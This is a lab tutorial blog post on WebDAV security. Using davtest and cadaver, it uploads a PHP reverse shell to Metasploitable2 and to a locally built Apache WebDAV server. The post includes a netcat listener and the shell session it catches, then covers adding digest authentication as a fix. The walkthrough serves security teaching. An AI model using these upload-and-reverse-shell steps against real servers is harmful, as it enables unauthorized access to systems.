WebDAV Security Exploration with Cadaver and Davtest

WebDAV Security Exploration with Cadaver and Davtest

April 17, 2024 24 min read 3 views 0 discussions
Table of Contents

    Cadaver and Davtest are two widely used tools for web reconnaissance, specifically designed for testing and interacting with WebDAV services. Cadaver specializes in server interaction, while Davtest is focused on security assessments within the WebDAV testing ecosystem. Together, they enhance the reliability and security of WebDAV services. 

    Hello everyone. Today, we'll demonstrate how to exploit a WebDAV vulnerability using Cadaver and Davtest. By the end, I'll guide you through setting up a web development server to better understand where potential exploits may occur.

    WebDAV, short for Web Distributed Authoring and Versioning, is a network protocol that extends HTTP methods and headers. It allows users to access and modify files on a remote web server directly, without the need to download them locally. This protocol facilitates real-time collaboration on shared documents among team members.

    Let me guide you through the initial steps of penetration testing. To begin, ensure you have three prerequisites in place.

    Before we proceed, ensure you have three essential items ready.

    • First, you'll need Kali Linux installed and running on a virtual machine. This virtual environment isolates your scanning activities and safeguards your main computer. Make sure the virtual machine's network adapter is configured in a special mode called "Host-only" to allow communication between Kali and your target website.
    • Next, you'll need a website to scan. In this tutorial, we'll use a website called Metasploitable2, which is deliberately designed to be vulnerable for educational purposes. This provides a safe space to practice without harming a real website. Make sure the virtual machine's network adapter is configured in a special mode called "Host-only" to allow communication between Kali and your target website.
    • Next, we need a Steady Internet Connection. A stable internet connection is essential for the scanning process to communicate with the target website. First, ensure you have a reliable internet connection. This is crucial for the scanning process to interact with the target website. Access your Kali VM, navigate to settings, then to Network adapter, and confirm that the second adapter is connected to the NAT network.

    Once three prerequisites are in place, you're prepared to scan for vulnerabilities on target websites. To begin, we'll exploit a website running on Metasploitable2

    Before proceeding with the scanning process, it's crucial to identify the target's address. Open a terminal window in Kali Linux and execute the "netdiscover" command.

    ┌──(kali㉿kali)-[~]
    └─$ sudo netdiscover -i eth1

    This command acts like a digital radar, searching your network for devices. It will list the discovered devices along with their IP addresses.

    We already know previously that Metasploitable2 has a web page running on Port 80. Launch a browser, and you can access its web interface by typing the IP address into your web browser's address bar.

    To begin, let's perform a vulnerability scan on this webpage to identify any security issues.

    This time, we'll test the vulnerability of the WebDAV webpage to determine if it's exploitable. Click on it, and it will redirect you to the file server page.

    To begin, we'll assess the vulnerability on the WebDAV webpage to see if, we can upload a reverse shell file using Davtest.

    You can locate Davtest within Kali Linux's "Web Applications" menu, typically found under "Web Vulnerability Scanners". 

    Here, you'll also find the Cadaver tool, which I'll discuss shortly.

    Upon executing the tool, I encountered an error indicating a missing URL. This means we need to provide a URL after the --url flag to use it effectively.

    $davtest

    ERROR: Missing-url

    /usr/bin/davtest -url <url> [options]

     -auth+         Authorization (user:password)
     -realm+ Auth Realm
     -cleanup       delete everything uploaded when done
     -directory+    postfix portion of directory to create
     -debug+        DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
     -move          PUT text files then MOVE to executable
     -copy          PUT text files then COPY to executable
     -nocreate      don't create a directory
     -quiet         only print out summary
     -rand+         use this instead of a random string for filenames
     -sendbd+       send backdoors:
                            auto - for any succeeded test
                            ext - extension matching file name(s) in backdoors/ dir
     -uploadfile+   upload this file (requires -uploadloc)
     -uploadloc+    upload file to this relative location/name (requires -uploadfile)
     -url+          url of DAV location

    Example: /usr/bin/davtest -url http://localhost/davdir

    ┌──(kali㉿kali)-[~]
    └─$

    Let's proceed with the execution.

    ┌──(kali㉿kali)-[~]
    └─$davtest -url http://192.168.56.104/dav/
    ********************************************************
     Testing DAV connection
    OPEN            SUCCEED:                http://192.168.56.104/dav
    ********************************************************
    NOTE    Random string for this session: l7Ayl61T8
    ********************************************************
     Creating directory
    MKCOL           SUCCEED:                Created http://192.168.56.104/dav/DavTestDir_l7Ayl61T8
    ********************************************************
     Sending test files
    PUT     pl      SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.pl
    PUT     cfm     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.cfm
    PUT     asp     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.asp
    PUT     jsp     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.jsp
    PUT     cgi     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.cgi
    PUT     jhtml   SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.jhtml
    PUT     php     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.php
    PUT     aspx    SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.aspx
    PUT     shtml   SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.shtml
    PUT     txt     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.txt
    PUT     html    SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.html
    ********************************************************
     Checking for test file execution
    EXEC    pl      FAIL
    EXEC    cfm     FAIL
    EXEC    asp     FAIL
    EXEC    jsp     FAIL
    EXEC    cgi     FAIL
    EXEC    jhtml   FAIL
    EXEC    php     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.php
    EXEC    php     FAIL
    EXEC    aspx    FAIL
    EXEC    shtml   FAIL
    EXEC    txt     SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.txt
    EXEC    txt     FAIL
    EXEC    html    SUCCEED:        http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.html
    EXEC    html    FAIL

    ********************************************************
    /usr/bin/davtest Summary:
    Created: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.pl
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.cfm
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.asp
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.jsp
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.cgi
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.jhtml
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.php
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.aspx
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.shtml
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.txt
    PUT File: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.html
    Executes: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.php
    Executes: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.txt
    Executes: http://192.168.56.104/dav/DavTestDir_l7Ayl61T8/davtest_l7Ayl61T8.html

    ┌──(kali㉿kali)-[~]
    └─$ 

    Upon execution, we observed that the execution was successful for three file types: txt, html, and php. The others failed. This indicates that to achieve a reverse shell, we should focus on these three file types. In my view, PHP is the most suitable choice.

    Next, we will use a cadaver to upload the PHP reverse shell file, enabling us to establish a reverse shell connection.

    To begin, locate the PHP reverse shell file in a terminal. Now, copy it to the Kali home directory. Here it is, the reverse shell file.

    ┌──(kali㉿kali)-[~]
    └─$locate php-reverse-shell
    /usr/share/laudanum/php/php-reverse-shell.php
    /usr/share/laudanum/wordpress/templates/php-reverse-shell.php
    /usr/share/webshells/php/php-reverse-shell.php
    ┌──(kali㉿kali)-[~]
    └─$cp /usr/share/webshells/php/php-reverse-shell.php .
    ┌──(kali㉿kali)-[~]
    └─$nano php-reverse-shell.php 

    Now, replace the IP address and port number with your local machine details. 

    ┌──(kali㉿kali)-[~]
    └─$nano php-reverse-shell.php 

    As both my Kali and Metasploitable2 VMs are connected via a host-only adapter, this is my IP address.

    Let's start a listener on your local machine to catch the incoming connection from the reverse shell script.

    ┌──(kali㉿kali)-[~]
    └─$nc -lvnp 4444            
    listening on [any] 4444 ...

    Now, proceed to upload the file. This is quite simple. Open a new terminal window. Type 'cadaver' followed by pasting the WebDAV URL.

    ┌──(kali㉿kali)-[~]
    └─$cadaver http://192.168.56.104/dav  
    dav:/webdav/> 

    Once connected, you can use commands like 'ls', 'put', 'get', 'mkdir', etc., to interact with the WebDAV server.

    To upload a file, use the 'put' command. 

    dav:/webdav/> put php-reverse-shell.php 
    Uploading php-reverse-shell.php to `/webdav/php-reverse-shell.php':
    Progress: [=============================>] 100.0% of 5491 bytes succeeded.
    dav:/webdav/> 

    The upload was successful. Let's refresh the page. 

    You'll see the uploaded file. Click on it to execute the reverse shell, sending data to the listening port. Now, check the Netcat listener.

    There it is! The exploitation was successful. Now, you can navigate the system files as needed.

    Now, let's close this session and delve into understanding how this vulnerability occurs and how to mitigate it.

    WebDAV vulnerabilities often arise due to misconfigurations or security weaknesses in how WebDAV is implemented or configured on web servers.

    To better comprehend this, let's create a web service containing a WebDAV vulnerability. First, ensure Apache2 is installed. Open a terminal and use 'sudo su' to gain root privileges. Then, run 'apt install apache2'. This command will check if Apache2 is installed and initiate the installation process if it's not.

    ┌──(kali㉿kali)-[~]
    └─$sudo su
    [sudo] password for kali: 
    ┌──(root㉿kali)-[/home/kali]
    └─#apt install apache2
    Reading package lists... Done
    Building dependency tree... Done
    Reading state information... Done
    apache2 is already the newest version (2.4.58-1+b1).
    apache2 set to manually installed.
    0 upgraded, 0 newly installed, 0 to remove and 518 not upgraded.
    ┌──(root㉿kali)-[/home/kali]
    └─# 

    If Apache2 is already installed, we're ready to set up WebDAV. Let's begin by creating a directory and checking the owner settings using the 'ls -al' command.

    ┌──(root㉿kali)-[/home/kali]
    └─#mkdir /var/www/webdav
    ┌──(root㉿kali)-[/home/kali]
    └─#ls -al /var/www 
    total 16
    drwxr-xr-x  4 root root 4096 Apr 11 04:11 .
    drwxr-xr-x 12 root root 4096 Mar 30 03:20 ..
    drwxr-xr-x  2 root root 4096 Feb 25 10:55 html
    drwxr-xr-x  2 root root 4096 Apr 11 04:11 webdav
    ┌──(root㉿kali)-[/home/kali]
    └─# 

    Next, change the owner settings using the 'chown' command to allow Apache2 to make changes in this directory. 

    ┌──(root㉿kali)-[/home/kali]
    └─#chown -R www-data:www-data /var/www/webdav 
    ┌──(root㉿kali)-[~kali]
    └─#ls -al /var/www                           
    total 16
    drwxr-xr-x  4 root     root     4096 Apr 11 04:11 .
    drwxr-xr-x 12 root     root     4096 Mar 30 03:20 ..
    drwxr-xr-x  2 root     root     4096 Feb 25 10:55 html
    drwxr-xr-x  2 www-data www-data 4096 Apr 11 04:11 webdav
    ┌──(root㉿kali)-[~kali]
    └─#

    Once this is done, we'll enable the WebDAV module and restart the Apache2 server. Check the status of the Apache2 server to ensure it's running. 

    ┌──(root㉿kali)-[~kali]
    └─#a2enmod dav_fs 
    Considering dependency dav for dav_fs:
    Enabling module dav.
    Enabling module dav_fs.
    To activate the new configuration, you need to run:
      systemctl restart apache2
    ┌──(root㉿kali)-[~kali]
    └─#service apache2 start
    ┌──(root㉿kali)-[~kali]
    └─#service apache2 status    
    ● apache2.service - The Apache HTTP Server
         Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
         Active: active (running) since Thu 2024-04-11 04:18:18 EDT; 5s ago
           Docs: https://httpd.apache.org/docs/2.4/
        Process: 16980 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
       Main PID: 16996 (apache2)
          Tasks: 6 (limit: 4610)
         Memory: 20.0M (peak: 20.5M)
            CPU: 188ms
         CGroup: /system.slice/apache2.service
                 ├─16996 /usr/sbin/apache2 -k start
                 ├─17007 /usr/sbin/apache2 -k start
                 ├─17008 /usr/sbin/apache2 -k start
                 ├─17009 /usr/sbin/apache2 -k start
                 ├─17010 /usr/sbin/apache2 -k start
                 └─17011 /usr/sbin/apache2 -k start

    Apr 11 04:18:18 kali systemd[1]: Starting apache2.service - The Apache HTTP Server...
    Apr 11 04:18:18 kali apachectl[16995]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using>
    Apr 11 04:18:18 kali systemd[1]: Started apache2.service - The Apache HTTP Server.
    ┌──(root㉿kali)-[~kali]
    └─# 

    Open a browser, visit 'localhost', and specify the WebDAV path. 

    If you encounter a "site not found" error, you'll need to configure a file within the 'sites-available' directory.

    Let's configure the file using the 'nano' text editor and add the necessary text. Then, restart the service to activate our WebDAV server.

    ┌──(root㉿kali)-[~kali]
    └─#cd /etc/apache2/sites-available 
    ┌──(root㉿kali)-[/etc/apache2/sites-available]
    └─#ls            
    000-default.conf default-ssl.conf
    ┌──(root㉿kali)-[/etc/apache2/sites-available]
    └─#nano 000-default.conf 

    After restarting, you should see the web server in your web browser. Although the web server is visible, there is currently no content available.

    Let's proceed similarly to before by uploading the PHP reverse shell file. Before uploading, replace the IP and port with your localhost IP address. Then, start a listener using the Netcat command-line tool.

    ┌──(kali㉿kali)-[~]
    └─$ nano php-reverse-shell.php
                                                                                                                                        
    ┌──(kali㉿kali)-[~]
    └─$nc -lvnp 4444            
    listening on [any] 4444 ...

    Next, upload the file using Cadaver. 

    ┌──(kali㉿kali)-[~]
    └─$cadaver http://127.0.0.1/webdav  
    dav:/webdav/>put php-reverse-shell.php 
    Uploading php-reverse-shell.php to `/webdav/php-reverse-shell.php':
    Progress: [=============================>] 100.0% of 5491 bytes succeeded.
    dav:/webdav/> 

    Clicking on the reverse shell file will grant us shell access in the listening command area.

    ┌──(kali㉿kali)-[~]
    └─$nc -lvnp 4444             
    listening on [any] 4444 ...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55124
    Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
     05:08:32 up  1:25,  1 user,  load average: 0.06, 0.20, 0.16
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    kali              -                03:48    1:20m  0.00s  0.07s lightdm --session-child 13 24
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: 0: can't access tty; job control turned off
    $whoami
    www-data

    Now, let's explore how to secure our setup. We can enhance security by implementing username and password authorization. When someone accesses the server, they will be prompted to provide a username and password.

    To add security, we'll implement Digest Authentication instead of the default basic authentication.

    First, we'll create a password file for the user 'admin' in the realm 'WebDAV'.

    Here, in the new terminal window, which already has sudo privileges, here, run the `htdigest` command. On execution, This will prompt us to set a new password for the admin user. Finally, we'll adjust permissions for the 'users.password' file to ensure it can read the password file, thereby changing the owner accordingly.

    ┌──(kali㉿kali)-[~]
    └─$sudo su    
    [sudo] password for kali: 

    ┌──(root㉿kali)-[/home/kali]
    └─#htdigest -c /etc/apache2/users.password webdav admin
    Adding password for admin in realm webdav.
    New password: 
    Re-type new password: 
    ┌──(root㉿kali)-[/home/kali]
    └─#ls -al /etc/apache2 
    total 92
    drwxr-xr-x   8 root root  4096 Apr 11 05:15 .
    drwxr-xr-x 188 root root 12288 Apr 11 10:43 ..
    -rw-r--r--   1 root root  7178 Jan  5 12:42 apache2.conf
    drwxr-xr-x   2 root root  4096 Feb 25 10:55 conf-available
    drwxr-xr-x   2 root root  4096 Feb 25 10:55 conf-enabled
    -rw-r--r--   1 root root  1782 Aug 25  2023 envvars
    -rw-r--r--   1 root root 31063 Aug 25  2023 magic
    drwxr-xr-x   2 root root  4096 Feb 25 10:55 mods-available
    drwxr-xr-x   2 root root  4096 Apr 11 04:14 mods-enabled
    -rw-r--r--   1 root root   274 Oct 19 06:52 ports.conf
    drwxr-xr-x   2 root root  4096 Apr 11 10:46 sites-available
    drwxr-xr-x   2 root root  4096 Feb 25 10:55 sites-enabled
    -rw-r--r--   1 root root    46 Apr 11 10:55 users.password
    ┌──(root㉿kali)-[~kali]
    └─# 

    Use the chown command-line tool to change the ownership to www-data.

    ┌──(root㉿kali)-[~kali]
    └─#chown www-data:www-data /etc/apache2/users.password 
    ┌──(root㉿kali)-[~kali]
    └─#ls -al /etc/apache2/users.password                 
    -rw-r--r-- 1 www-data www-data 46 Apr 11 10:55 /etc/apache2/users.password
    ┌──(root㉿kali)-[~kali]
    └─#

    Next, we'll modify the configuration file within the sites-available directory by adding specific lines to it.

    ┌──(root㉿kali)-[~kali]
    └─#nano /etc/apache2/sites-available/000-default.conf 

    Next, activate the digest module and restart the Apache2 services to ensure the changes are applied successfully.

    ┌──(root㉿kali)-[~kali]
    └─#a2enmod auth_digest 
    Considering dependency authn_core for auth_digest:
    Module authn_core already enabled
    Enabling module auth_digest.
    To activate the new configuration, you need to run:
      systemctl restart apache2
    ┌──(root㉿kali)-[~kali]
    └─#service apache2 restart 
    ┌──(root㉿kali)-[~kali]
    └─# 

    Our WebDAV server is now secure with digest authentication. 

    When an attacker attempts to access the site or upload a file using Cadaver, they will be prompted for a username and password.

    ┌──(kali㉿kali)-[~]
    └─$ cadaver http://127.0.0.1/webdav  
    Authentication required for webdev on server `127.0.0.1`:
    Username:

    However, it's important to note that this setup isn't entirely foolproof. If an attacker discovers the username and password through a brute force attack, they could potentially exploit the system.

    In this article, we covered a lot. We gained unauthorized access to the server to demonstrate the security risks associated with WebDAV.

    If you have any doubts or questions about this video, feel free to leave them in the comments.

    Community Q&A